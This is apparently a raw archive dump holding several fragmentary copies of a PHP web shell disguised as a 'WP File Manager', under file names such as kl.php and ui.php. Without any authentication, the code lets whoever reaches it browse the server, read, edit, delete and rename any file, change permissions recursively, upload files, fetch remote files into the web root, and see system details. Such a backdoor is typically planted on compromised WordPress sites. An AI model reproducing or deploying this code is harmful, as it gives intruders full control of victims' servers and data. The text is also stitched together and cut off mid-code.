"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëmejdi.sadiku@pelasgus.al/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëmejdi.sadiku@pelasgus.al/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // 